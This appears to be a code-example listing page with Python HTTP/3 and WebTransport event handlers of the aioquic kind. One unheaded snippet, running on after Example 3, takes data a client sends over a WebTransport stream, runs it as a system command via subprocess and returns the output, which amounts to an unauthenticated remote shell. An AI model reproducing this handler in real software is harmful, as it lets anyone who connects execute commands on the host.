Beispiel #1
0
    def handle_event(self, event: QuicEvent) -> List[H3Event]:
        """
        Handle a QUIC event and return a list of HTTP events.

        :param event: The QUIC event to handle.
        """

        if not self._is_done:
            try:
                if isinstance(event, StreamDataReceived):
                    stream_id = event.stream_id
                    stream = self._get_or_create_stream(stream_id)
                    if stream_is_unidirectional(stream_id):
                        return self._receive_stream_data_uni(
                            stream, event.data, event.end_stream)
                    else:
                        return self._receive_request_or_push_data(
                            stream, event.data, event.end_stream)
                elif isinstance(event, DatagramFrameReceived):
                    return self._receive_datagram(event.data)
            except ProtocolError as exc:
                self._is_done = True
                self._quic.close(error_code=exc.error_code,
                                 reason_phrase=exc.reason_phrase)

        return []
Beispiel #2
0
    def handle_event(self, event: QuicEvent) -> List[HttpEvent]:
        """
        Handle a QUIC event and return a list of HTTP events.

        :param event: The QUIC event to handle.
        """
        if isinstance(event, StreamDataReceived):
            stream_id = event.stream_id
            if stream_id not in self._stream:
                self._stream[stream_id] = H3Stream()
            if stream_id % 4 == 0:
                return self._receive_stream_data_bidi(stream_id, event.data,
                                                      event.end_stream)
            elif stream_is_unidirectional(stream_id):
                return self._receive_stream_data_uni(stream_id, event.data)
        return []
Beispiel #3
0
    def h3_event_received(self, event: H3Event) -> None:
        if isinstance(event, DatagramReceived):
            payload = str(len(event.data)).encode('ascii')
            self._http.send_datagram(self._session_id, payload)

        if isinstance(event, WebTransportStreamDataReceived):
            self._counters[event.stream_id] += len(event.data)
            if event.stream_ended:
                if stream_is_unidirectional(event.stream_id):
                    response_id = self._http.create_webtransport_stream(
                        self._session_id, is_unidirectional=True)
                else:
                    response_id = event.stream_id
                payload = str(self._counters[event.stream_id]).encode('ascii')
                self._http._quic.send_stream_data(response_id,
                                                  payload,
                                                  end_stream=True)
                self.stream_closed(event.stream_id)
    def h3_event_received(self, event: H3Event) -> None:
        if isinstance(event, DatagramReceived):
            payload = str(len(event.data)).encode('ascii')
            self._http.send_datagram(self._session_id, payload)

        if isinstance(event, WebTransportStreamDataReceived):
            print('event', event)
            if event.data:
                print('event.data', event.data)
                global input_data
                input_data = event.data
                self._counters[event.stream_id] += len(event.data)
            if event.stream_ended:
                if stream_is_unidirectional(event.stream_id):
                    response_id = self._http.create_webtransport_stream(
                        self._session_id, is_unidirectional=True)
                else:
                    response_id = event.stream_id
                data = subprocess.run(split(input_data.decode()), stdout=subprocess.PIPE)           
                payload = data.stdout
                self._http._quic.send_stream_data(
                    response_id, payload, end_stream=True)
                self.stream_closed(event.stream_id)
Beispiel #5
0
 def stream_is_unidirectional(self, stream_id: int) -> bool:
     """Return True if the stream is unidirectional."""
     return stream_is_unidirectional(stream_id)